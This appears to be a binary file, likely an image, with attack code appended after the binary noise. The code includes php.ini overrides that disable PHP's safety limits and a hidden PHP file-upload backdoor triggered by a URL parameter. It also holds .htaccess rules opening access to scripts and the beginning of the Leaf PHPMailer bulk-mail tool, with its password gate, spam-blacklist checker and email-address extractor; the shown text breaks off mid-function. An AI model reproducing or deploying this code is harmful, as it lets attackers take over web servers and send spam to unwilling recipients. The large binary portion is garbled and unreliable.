s|`q=}:R~GNCDlT`{ :/{v	mWBA~1O#mgԨ#YYη1nvgI^|wX+µ7Sao@\w#nC01+)7T$H#aDWؾkwQHg~МpA,ؕ:TQNʮR̔o.qbV}4;8R%[!]JO9:EH0 z3kbnqcauirew#bnqcauirew
5PS!,ޠ(@aĨcdJǣ3/ϯ5ߡɮp
OvT#r8pg-m5KZLޖI	lEhChF-juJ`wq*36M[I45p2k!J,="	A9
Shڵ$p;e^ʩW,t%ٸ\ڢ#$1`\*G'z(WcHu#Ù&&E@fR' CB,/lwk(n*de_UFu(tiJ\
W%
 T0Bm֏3HiqH/MNbC[d~4^+j({gk~^AxnmfU	20@k[9Zgߝ@K 7K!,}/%ǫ'}NW vumWUzv.(Q`,~|^}abnqcauirewC3ۇgr-M"3_yĉOv|ۃshd!(O;1ʟ9q+*dhW.6ejmobpdwvl֚!N1iMZbnqcauirewCd
gUEZ#AYI:$Y#:Ji~ݝL[έu	'$sb]ʕ(԰Q`"bnqcauirew+bnqcauirew #,޳3k]㱣nYc֎Ȑr쁞6R:ĉ=S߂gVG	3h=xw{;Ĉcw@L/}C )~T$_HB[dcw7as=d}2
(JYzz%^{};pyww+JGg1١]šk}DF/\,d*Ѿ*GSœNZ_I@+h#l$ V
MHrlPh_蠿Jc*B頤bnqcauirew_KIŝH|¯%DQ(ɕԮ&?ѡA|iKbnqcauirewHRar2YV0lY8cIbz!4l݉jL?xjN\a?aH;?Fcĭ*f3\֊hDl?KTb1ɤI^SƋl_Ebnqcauirew| =y:FFܰ12Ypײ!-ݥlü?k`En~OR!rhhauYLdF=K;HQ QMcZ|ys&/ߞƁb(0Y28bnqcauirewh|V ő1W(mpjuQ=̰qܜ*{n(mu zxcbnqcauirewB;]M7&׊gt LlX3c|iC!=np9(vϦH$tn#uY+yȖ|Kr@V?9$;$;_:Z(֒0.q'A/WrOTDl{}yQ9Q`$2?cxBbi.?ŮZfY/	+b\D3m%е4oejmobpdwvl:sºfO rM_xbnqcauirew (lC~?l3dOw-̝_6
g-g:̿I7bnqcauirewz1g/# WN^F1rŝM؟j*/UFM37mf
`|{R5d)}1_(Of*?z7T8S`^a2vCFAkיc]0+ O1GNX5!&m%c!;s&nȯaǂ?#9fg
5El&#cU$GPYm)8	^_*}̯$8̞cd^,lܩ)ؾt)#C۸ibnqcauirewPMSR_]~siH}ejmobpdwvl?T8$.&T9҅1x=[x[Ywї8 ,$I
~mڣLejmobpdwvl]b9*^U9XN5H	`9
ׁC48:aLJ
˪0ʑ\ `c`꧕.`j!xE7Ww@M '&/mǶTYB#{b~Maejmobpdwvl1reբ6WxAx:5ڳl2edrȀmh!BaіAЯ9;KGZpenDF»Gw9bnqcauirewEpejmobpdwvl(Gt\.&zlܘ@'OhHWLk4ѓQLJOxVnzEUC*kejmobpdwvl"䶽pC2
qohȣ]?ƒ&i#mJԃiS&M(N43Gc~C?yy&k1%X)ȯ)1U+w@)$RY-}M/W0Vkw gklT6
وxȜH0ET`f$T1TwଚC!Fɞz,gFfuQS6Xs0񀃗A}-Cw|vJt˫lejmobpdwvlPg M6R79q.LjYh&vz[ۓejmobpdwvl,4+U3Aj(zF#!/vIOXkdfkƛ3R|.hejmobpdwvl{[Z4q8}%6HE̹낥gLdo5:gS~OGZ~_m3{hMtf/f	E~E"?O&Q+ZП:qc;W_*߻S󩹗;TMBc57q8hexbnqcauirewwE4D 46N7os]svy9E}X/WGܿ.خ
Å{Z\#:LΒHg%p1*cG.ǿFteLw%20:1Zn.ΚǅYy@YنKCɱ)[J(4|F
SԥCKb::sY7u_Gŉ:#*QKK73ƀ7n='ׄWQm9tÆC!sr#S
sA?P3ejmobpdwvlaXFuM1
,p* SJbnqcauirewBebnqcauirewL xۨy,ZA6`8ujX^Rg|4^ŲL7rT;KK"kOm?Eejmobpdwvl!M}&c0!+a`.{_dh7F"q7-ejmobpdwvleP߸5$Qa#!˿|[aЌL)SZBRP9urJx&U{!7\;`ٌ	@hʵ!{y@Mi3-9*W gH\KFQ{[Q5
I5+}bnqcauirewMZͱZ@c1J@WuľǇ*MD=swߜ)go$oc$O
!I~/SI/
zM͖ڀW33&R3#Ɖ@Ibnqcauirewm
Wz`-~Bb%F{T;{liA@_5k& WQZAeejmobpdwvlkrLڀ1PBܠ}CE''A/ƙ:p~=D7[ptI(zv^DOfλ~VCEzYIC+	a`9,$HΛi'
珑_][^`^H=|R#YEԱol@]i	{)TESx;
ۈفAA$OϿLv#
hj%&9ced㎉޺[Q{xm1}F(V)bnqcauirew#FX=c=G[Sbnqcauirew!^ejmobpdwvlohZ締.$v} PGO]``mN.{l	C!
\ h%XKLK%+2ERm8-(JyLIm+|2U;_Ս$^H/6-??w\S`k6δxHDX̤a(F-orI_{B$a;j.ccAk0sB.QrO/xٴLTIc6E2

шoHdkaKM	n
6׌r9l҈=i+@fmpq7	վbnqcauirewkѵL-i&ZQ[ݿ&B
O&:6b*M5'D^#S$
*?[\kHE,DZY99(\W=,j
$ \nknK[I
J"?[5;l@g
6L̩#y		2qz5t2nQd}eN렁sNisZ D(
HuLsG!zK.d]bnqcauirew#gJЃv&4o)'KJ ejmobpdwvl,ONLJ\J1^/Rc -_Ɲۣ#^l	eAU.UF9r޼gB#km$07eʼK!`=QؽNk
'&"xD/{}6vZo͒~ik
~/,.Ov'E@q^Ajwa?0ԑDz|&,*GGQ錏$=O{eocCJټc~
BzpsysbnqcauirewpLd،vYv`++F.Йhʟ:YGcq7&`ު85wrnIRh,[`lcG% O8MhmE
f']RJka3xejmobpdwvlVbnqcauirewh1vD\JejmobpdwvlM㳽_8#wB/sK4)pKB21FWvROh(`ejmobpdwvl
YG,y,Tj5pJxĪ6p/'DicbTb0WSK4؅1y;d;hr7R*{2"Jv]Ebnqcauirew3UmmҙCMP_FG,(M+Qg&']j([w5Lt|DӍۇ"[@%uq!Q{$$Î 㺣Ƣ+90KT[Pݱ,Z_tm
?o&Bm[3Jbnqcauirew VA?v9,gRk"K&' &FZ)\wcvf$)&/uQ(V$;ƫ(^Pe`mb/gC
Ȑ 3{QW;RAS~ejmobpdwvlP&	/T=E8tLܢ2bnqcauirewLA^P|ebnqcauirewڪP=~('SᤤErl	
a
D~ʥIt)Yeu)MV#gTC3.ŌUy#?H_}tY1Jttr15`N[)Do~!i:J/gJkA+']*eCخ.+x\`^ZDEPulq%ȱXBw!ejmobpdwvl5~.QjjKͥbw7v`;|I-=ejmobpdwvl *?oGKiUYL$#	}W8VyQ%Xpu.XdXD@2ܹ62F=*5xK@l?NT[*Z79Gq=Neejmobpdwvl0Y
:e?_(!E}/9Du+wypܦlIjc܎ѓPm!LZ{Y%w?rRqgv&t0HoTbHzR8 x/94VژzN8,{+
-XMiMRb(OCdjubnqcauirewrgdejmobpdwvl`] [XGx+E+[6Dڞ8yiJ'Z$Vļoa 6dS,AA8_~Dɼϣ	IΒ1XO bnqcauirew 2DsUՔY}ĀK'SY${%ގ;UN(4D./.VO.]1vWYqMyf`K+ʎb*I PlF3PQ
j&?AVbAaG~A)S} \=elJоm
0X'!*Yo+Q[x
JK|Ҁ/X+Zejmobpdwvl1kb
4DnoejmobpdwvlsM]ZAdb?6^zUtnp͡u`v!hr$NeX/jVj)+dwlB%diDJ# KV'tS{Ɂ-wkD6yՏݭs3USɹ!4*
@wZCTU+L(0TODBKr/Y?lVL'ejmobpdwvlx
9a'bQejmobpdwvl$ʓHrn$UcXFͺ0ۭ	[Yb0
)SވO l:98UƤznk~!7G
c"ڜ95ז:c)X~a/F|2 IL,v͵=gt@xBo{'cS|/TQ	@]݈zQ2
3fe bnqcauirewejmobpdwvla[^'5~`c˙@+sh$WJf/&&-gsYSbnqcauirewY;Jjejmobpdwvl-ߙ0!v`zFBzeE?2wgEPJ/L꫷ 3A_6Lnejmobpdwvl(
&Ap!cjNPASbnqcauirewz/H3%QjΝ֕@y3]p jȷjFEl`93m/EI#8v"	o`U[=X kk"34{z,JvEbnqcauirewB[?%
wr2v~k^/(Xi1^Tn~_}ee*v`8MHŝ:p?ע?W:4T6YQwD@v/8`K|]UJܨ2r)h Ee-6*`;:uܸiu[w0*.H@7e{$kFb-|Fƚ}e"ʮ[V+YejmobpdwvlT\&^k`nci r4\bnqcauirew
;4ܲ?B]})o.BC?:nyk
Nre+C*ѐfytJc_]Ln5ӅE
BBq^s]QejmobpdwvlEDk+F!L= bYlnxWz+40哑UleF^y[41*C]wtvOAc;Q`1ZV%G/%=ݣnD
@E'.AȚ0)fn!|bnqcauirew_2ejmobpdwvlLogx)ZDJ;2qEPxb&0'蛗Ώ8BM^:MN1"`m؃;P\?+b4q$۬0XxވBLs}ܡ漼a#[e-;pr`m(
2HEqeLرQ8;&Ť2sNXToM&#M&HRRqhA'p.OJ+/VEQj?(;!cru􁸾Rv~ЋK\7.$2Rejmobpdwvl簍 1.Ӎǉq5`*λ
nIDjtbnqcauirew :L4e"G=)T!LY_t̟#_!y(v4/fj|[XtOPm%s:1Nbnqcauirewl| WNJJuui|WnG%kUM"DIfO8uY!BMKE0,D	?_p˿unXOWT?ڼ Řꐩd ۫诠e4go׼v7o/p@ Z)źe8?~涗.&6Mc=ˇu |w#ejmobpdwvl|O8Ks?ɨ2ttoUAAN bnqcauirewΓ+_YDhrxtPH"F Ad})A'7{:m!-|ա°rEYd2e{4!`f(ysjgA+w6~He@M{9#*Vx^a
5CΨ9qf;jΣG:~%:-b~mjDWuzMTZ_Iʰ4K3;Pgy;.{,B\'"@0u\9v.ĚhKdT\H]Modp=Uh5k$儏m
D* s,5-w	$JZzm{myνo#o-@΃	IKg,dJv,;\zIoإ'{5o3R_mwJmdglw6iN:\",-ωCV$L;5Uw "{bbm'#@Jm1*ݲv4{3 ĸDtGoKǘш M ^:bnqcauirew7"oz+R%Oo:S_C8G(ejmobpdwvl*Y"`: ф_[Ak'D$5 Xl]"ɉ3RŔ#g=a?JûwN1I;\v
ŤM09|ؑ?S
;QʷmrSRv7]BFl|eJejmobpdwvlNxDMZejmobpdwvl%thFpm
IEk"0
K.p#ip oNSs/8N9OG	26NF%}!B؇Jq$*@6-Hs8ŔfD.l1@'觊Xb,D39H TdR`xekiOZ3Ig	!Vᘿhb.O#
Rqb%)x21ZTm`&AribG2-uW[a) ҫ;0z@91-UExo'bnqcauirew?V8vI`rFH=^eg;E%;h47r#aghZ#R}JjPr
4\M7s;TEejmobpdwvl%ۼ֖'{ ږ3&Ӑ$?gڃb' bnqcauirewjۜR4DSE}sh/o/=Tju$^0oY['i.:X#7ejmobpdwvln+rMz`NHj,//~-}{Abnqcauirew*|L7j$3Ѻ&`!ħ1U;
h}-}J%(`G5V	|bnqcauireww@a
!(#\+HPh3Mrhέdg_@i`N}wTih/ERkOhRGKq[Lxzfntk*Y3`q9P|NBEy$,u%O#{]ٮ4#q/0gvc$@Qܻ m^~bXsD \d6B~;)

ejmobpdwvlvq?a+&r7ėT*6'0,1W?xbE}j
`du$x
ofcG^wMAx50~ejmobpdwvl.i	
?r꿏FYJЅ.bnqcauirewq$T"l߻Iejmobpdwvl(/	GxBb~lֹ̟Cbnqcauirew!\uk/ɝ\Kc0Y]cbLepg*,0+
Zn* m
X3upu9GބQ#$}}±ǝ`% 󪞭	K9ЀMf5'k!U7J_Xnvt:ufL2|Ƈn#6RE2t9,&0%l(;!ZPgy	+PH}A%gۯ(Q(6bnqcauirewRSfjaSg1@!W[3ҰD ʦ{SuKukLuzuejmobpdwvlmQbnqcauirewH\jM-n]+V AGַBD}s}[,bnqcauirewj+$Nx{/YTsmO=ejmobpdwvlbkZo+T^[eeDس) e"8bnqcauirew Nǰ,۝2
=	Ybnqcauirew:BDixMXYRlfp0}OOֳ .m@bnqcauirewIL~ϗP	Gal O/Dq/eXs0hMݪ1W=vCb9uvk3Zbnqcauirew#C;Ϣ! *
`k,YuI
/ksokk#VݜDfmhV(aJ"ZsElj+ai*KW#/ߠ&esoK TcE~K!*BiT7KtNssx/!pejmobpdwvltn^bnqcauirewՒK36yM% īP*q)as6u&+307Ϻ(JG{{@?-2d,kb#8X_8A2t.ھ.Juz9JmftXejmobpdwvl4yWejmobpdwvlu'pY
){pejmobpdwvl2-ewSo
[+?Co[c+"~9p55"y0q	JT[q0 $9ƼbnqcauirewB
}){UY=TqoKAkeL%[1mi{8Q78;OA2nfxM!;?.cXoGF@EXnjr|+nbBZiM߳pfP E$"TAcbnqcauirew&63CC׷FD"H!ejmobpdwvl-BG ʿ:(DhiVmnPZĊEkOxaȥ2S@hm)z*X=|;yaHYeQv 8ejmobpdwvlyeJ@䘯h(qW_Ϛ1*!DWOq`PUa;MR["-/%"o|YWbT]Ǟejmobpdwvlj%ejmobpdwvlBVjtl;ɗDH`z(SIϾ-vҹ͂Xk /%4Q3jxM֐I(/fLGp YژC-JԍCzc`lb)^,ۏ:`]O&}^ˡ6ԮnaHigKKȵG"id&"R e~Gܢa~`j%9;ejmobpdwvl9	
CLZfD"a=j)q }) E!937I;B"l|v~Id)Pxt67YZPClc3F!AuLK,tKGGq׎x9A(C5QhEǏۃ*J4rwƜ*YR=8%^ ]2$)ppY}o?xid1`sf!n^"DT/upƕО7  yZw745`3~eRS~\ Wzef_C/u2"j%~8Iډ}Ɍ]6X
;c	ejmobpdwvlɁ?'V`#bnqcauirewGlH2:a_2px^R)U(=a1ޅLI{}cc[Pr^.b4zWtDg5E @4 :SBމaIY1bSQ3mX8|Fg
BAe* ]bıuX
;pWw	{p1.\:KYH}L+}rejmobpdwvl2M0+=S=N쿖?0Z8F'hBci ӌ`fA-6w܀m%_j
WvUyhA5&t߆Û$yâ3Gm΂0^с
a5*a0)Z@?U9ƨ3U잲ugG{Ϣ7{tHf%#߅펆]N6YsFc^^FD.UVo1fVa^a93l&t,
j]?vVSf{07xp=(}%^-Liyo}/?@sڧlC }2qM"&ɀ	 j?=2ap
Iշ5[gm᫡)~$UCf~}
4$ rxPZ8мejmobpdwvlIƴ'X!iejmobpdwvl@J")W
mzY~_ܙx
OB'fwPlUJ`@ԙ[S؅T:^n\2R拪YB8;UZK
ŏCC֩n.d㝦^ݕW:|pi%uRѯyyC@=	%EwFiʬ2_	 +s_0`#_.pF STeyV;jh
 {;gaÇj܊/YO`#DѺJLVO.vI&O/  #ʹnSKD1)-D{5i+ɀ7MD:Qs҄t2퉚]
mወ80bnqcauirew$v]"L9ث*u̡tY}Uԭ~|ȉ)w3#V:bnqcauirewq9L2 ;IbZ=rt{u$Rzp2rqAz3]!`RIE&*(\~y~BbnqcauirewYl\0!n:q08sejmobpdwvlL {X]!%kA,$ 4737+M/aO4uKnejmobpdwvl=i\[n/(wnVmM-&JW$:Z{BEx`Erejmobpdwvl8eEP	Ya+fY69@9bnqcauirewqPxDygB)
2G-ՙш?]0R*,{Ҁi|=R3|i&`CǴV歾cvN.?O
?dR:=92(~KNv+P+ѕTr	')
v@78w2Q쩰-sw|Xnlߙ_}5eYXf[e%Mbnv'Kgnu4{-7C'YIp˺!f/`y uU['H'C#
[%~`p7hb0¾G!4R_k߸[rѾu9{"u`];?9M-C1섏AձnbJ7Xl! YH*61㓯.ƫ\rfϼ1?crXm&=-*bnqcauirew]IckhKa/v_V5mvQ
ZKBjLFzW ~?ʞS|viC3Bp3hfMLV+;\fJ'YؓLoz7!*,2uBOabnqcauirewbnqcauirewr79+N
穖Ibr덩e.p~0oڬOF '0fXLE)_v*.b?#Ǘ!`vf.t}M橬ֵ3 0BgRՂ&9JϾ[¯twYҖpSZZ`æ!B]WD1F`e-Cz6-xD1BZejmobpdwvl2~cT!iWi.ʞɝbnqcauirew$Qc{6fEA+yqBWzUW7wA LgZ&ODW$mŊYhL
:!w0(ejmobpdwvlG2'K*vqOnoCE䴾ڷdE#:Rs`L4|usFy
ZpGLbnqcauirewi*X |
q؂,ejmobpdwvl(Sހ;FJY:{NG
u=l
f4dψe8M/&wujGrKҧV|ة`朔.1kH)}o
ywmejmobpdwvl') bzF"!ejmobpdwvl =J9m$&}Os=Eo	0~S5\dZuejmobpdwvlCw8o`7}:eĺ5[\ _5Uݒe1bo'[omkv&a{6)X^D#z1m
C0Xٍ)#1	ɍw,"x4:fm"{R!bnqcauirew29ϵ|;4#Wl!"p.-~XC]ɿnwOZ8N2[{WVztƋ?_ZaQ&zȣaejmobpdwvl[鯀'#mONo4X"Ԁ|	
Kv(ހ (Ek.bnqcauirew6Z"6CB l^UOsFqj7iizB?3!ɿ~Y=
k~E^(L
W{;~s6 j;P~$7+M/?Sɉ(aC
-Pbxz^L(`WϘ3,Qj}l;E
NA*4F\q4_Ő_;~wtLؒF2S|7::+除oԛf{]O.c6_c3r5Uԁ.DڸyNݣ(1JЁEٸ
wE \Ћ|ShtcؙVd3'f]RxZ[hBc8t(Binq}1֏C 9E";yBYsPD1pXu9
į݆(Y{y&7Z51RV\E9p83{O/r6+YwL#Ôq?Oހ{hws-#ޓ[;+YiaptEV'0Z@ǵz"Wej	pGLBO峃B
hXkIA0],Tv6)i^bnqcauirewQZy]\fZr]Bzwbb^()-9ѿ*rݽfk?Yr8@X;Éz?R(=JQH) $VfL!9lIzϠ^rA+(mM)ICY2֦si'kL}аN	ɓǦIV
u%F~۵NȨU}ء#=E/*3ZԴ\,;4!l35HA*vw͝vЀamc
sh9F/qٛS}"M#ȃF#+97zh0%*Cg@ЃS5/C;?q#h(ejmobpdwvl.	ejmobpdwvl[ut7rͻ8T=hؔMstT*vy8obnqcauirewVA0dPe'^CgPvO,(kj9Ǌ7r19ّ0 ̫jzW]#͖_N@R*"p~"
bJ'.YxX`˓;'$.5A#1ܚ} Jw՝6j~ 02[i3xJshJv
3?Ox]	$|tl'}j׶"rهQΎRGγ@x:~3gp%ˏIJ9O^
_mI8@Hke 8%d3Ū'bnqcauirew cyTdtDpx;|0_c߹+Q|R28Ngp+ejmobpdwvlcA],`f._|SPў3 )!]d@_^-"?cRPZvk;Ċel̑\~}j~2gKȝj?RPlBp)ӆal1ka-sw5Ѐٮds;oĲbnqcauirew/7l9$bPÎ˖c%PA9W+Ĺ?+ :2
tzjM|?c5a|?ˉa"ab ׾ql#Z}1	kJR"Tqɋ!TncCM|m-d戚eHqIirVM SYh[.=F3AoZ|H,pj{@Ȃ3x  )#Z/R10Ɠ2cnXw_{TPBJh/O:ċ_[u¿(}IP֘KUAkejmobpdwvlVH
P{R#}P{sM~dy
; 7K4/N-]n=ugtR$[mW|;SO:yQ+QZu]W\?ض7Z\ejmobpdwvlDTf:Ce7	kVKu,YpB(`ejmobpdwvlCnx4 MKڀ!6bnqcauirew:yn
bnqcauirewhG|yPZejmobpdwvl#=EFy;^^F!ǦJ.I
f1럧S;}h.Q#r]`0d@ndEB~?bA"O}`m9U*|̃p2K/+))QzR5AפXC3?~nx"R$x{9RӑF7a(dr[zJP0G NSvVB% Ii"_#Ѻu@F`іHI!/d[
"VGtejEђNX ﺜ_514C1cb5bq
9[!{60bCInǼ	6Kbnqcauirew9D0VJhD_YejmobpdwvlOhO
NB\?}rI9qƽ;0{5z
Dp,/#Xejmobpdwvl8mRhV}u
?@b3L]kCQyejmobpdwvl9m%}A8K)tC"6s-D$124,
9PӈkUuh|:Rft	$,fZ"bnqcauirewUoLOel9f7ejmobpdwvlL_xmOnH5$T[m:	.и]E3Q\j)8L1Iw ;=RbnqcauirewKImׄ-ה3/5\h`	oyT;QKh栳NAukgj@ 2KA|:6/E+_dI^[a쒤G큍O$sD#_BY w:VċHU3 5ubnqcauirewgCpU^# ejmobpdwvlуi!(0R74.bnqcauirewxsc۫*]*g[_찐&0{B
vv?amX _S[C.d^Dbfl[QzXW(Qzejmobpdwvl;pbO
MfPbCܾչ|J4
,ѳ_h+ :I'Ǻv.g n0a2OxZQ {#8vSXg1hpV[n.2j"(WgE@"lϖ岗A_qi˹welG.j5D]	oJ!yMf0kM-ћ(JL`8MR G^d$-V-O|
!hSq[͆C
Z`t)+/!`E|QSFc42}
;	ŅTRÑIP5z=q-+@z rƥ$(2\e
@'
}QwiejmobpdwvlIUlmKJ
OtvV?6np5/W6Hwejmobpdwvl.BA	~bnqcauirew
lP1Iv7KL"OZWL8vO3EŨy9ɫ5)[m/.?)QbAb/s)3fILfAڴ?Qx8
3B@ ]%_G1r;j^Svo~Z!~C	;uejmobpdwvl.ejmobpdwvl6x/XaQE;u+eOmSk4߹T!NbNvewS["Jz/}DQ7gޔСmObnqcauirewYlejmobpdwvlhA=f_igjTQECbCxZDo~ײpw$" [ٺET0˝cFd`ubnqcauirewUEO#ғMm	W
p(jREDxy`P넵$av?i ${/̅0iho[O/~3Waݧ:s&p~
b!KܔmkoPn;5%F"Ȳm)g0%OCltADzuZMn]}nrZ59(""q6q؉`@_F,bnqcauirewxflD&e8})`~\ps)h6d$X@vm`5bnqcauirewqDb_țKs.XíOi}Y{#MNbm6~͇yGDX@CI݆֔Y VY)_xٵo$ۢuAtf5[kN_W#)ᰨƽ7wdP$Y͔*[ܮ͜
,[kC'iodNi~ϭl\.?Rͪ8ejmobpdwvlMy75IBUu/|{m鯕qH%Gk܏ɯxr^He!ejmobpdwvlvB~cDFKw`!/P9*dÜbnqcauirew/!:GnAϽ{
=~_e
:{2r-45g(CI*!5a.r$T+ui `d\ķR)mejmobpdwvl ݦM~il_O݋|4uȢ
3abnqcauirewbnqcauirew{dejmobpdwvl0
HJgz9)"Jow2+`+0X hq뤲V"Zyz'ۓd  uڞr5AUsLbh93N^G$oz}R*dukOw^\u(ѓi6}˴t]Ր q}qHRѵX/O4_ejmobpdwvl,#ŤX=)KŪƛuc!EQA{2. ejmobpdwvlBJ-f"zbnqcauirewMV(V)XpLM;,0;_Z(os%_&Q'ޟpS rA6mt~;WZKa+
.~ud~p'Y[~q,ċxއ%v}M$4^'+[%`7ا:ɏɌU{-Y k7qT0;o{bnqcauirewEvkeyN*iY~AI:&ƖYD K- :Q3E}tJ eDCEM~;vW~$Ete[BPlIҢk67C=H3+;GvTv$~ë!\&D\{͠8^7oiTeD/V^u$%/Ojy/oQ| R;lI[ydM (bnqcauireww0eup8w嫣Eh$
Jhzӧ($N`Sg!yBOȉxoH17O#-"W91#UPC5{i&SoO?Ѵ){`0RAvEg7bnqcauirew	daLyɅbnqcauirewn/=ejmobpdwvlt=bnqcauirew'|bnqcauirewXvVȳO9j2,y;Ͷo .1XC=vvSW,=F$. sevejmobpdwvl1ejmobpdwvl("~h
Ks#{ׁ`ejmobpdwvlw{ā/cejmobpdwvl8Ynϗ!bnqcauirew%c$%ꤡ?4ޓZ=1oq?8#֭C~L=Yp:i,DHz}Vk]ph8T:@TW9
'?@bhv@,(7ˋQ%?x״&uo5@5bnqcauirew..wH04AZ߲pU
1=I#NèI!=@}S2e\.&k{q4e(pvP M|
;?Wejmobpdwvl8|⾯vN3㡑$.+2UsOч'^JubƝPEF"SbnqcauirewiaSoӀhoK,]A6bV	6\ڗM*{$}Y7o˩4|F	H	jm  ;\{ąQ%+A'yvd9"#0.Yq~"4m&Rt
uƧ,OƏn' bwr930x_CJBj_[bnqcauirewZWZZ]ejmobpdwvl5sKx[5bnqcauirew`W;*9@:/^7Pt̏4QBQI*_Au'釐S(w'	fm٩(vcO|~~|M? pC7yׁUL={928])B½]IIpSlGcà.zKz{!5{]WWg|ξ0s6@f|`#+YB2) [H*Ed_BwW/s&w?R0g
'Vd([zRϳ+dǓN{=Rgr	/.ejmobpdwvlWll4]!glpm'Gjeҹ*tQjF65F0t ,fR8}h1t.͘YG܈}a(Q)?G9YCg8"SAViF/0F^w*FqTy8Τsk{R*Sfՙ͞
'Wn7[oܩDSfuJ*}DunnG;d0(ɊLCYD8\%CiS0
(ed4މ@Lt!s+\XEP	 a&˟w/2X'|a/T;pһD4+jT;+.PB$g|}ҼV$wyc[ֽ*kwN[̱1FՌV'u7ͣ1s]c(cG6T(οL7dsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "NDtbmi1Ue9X";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
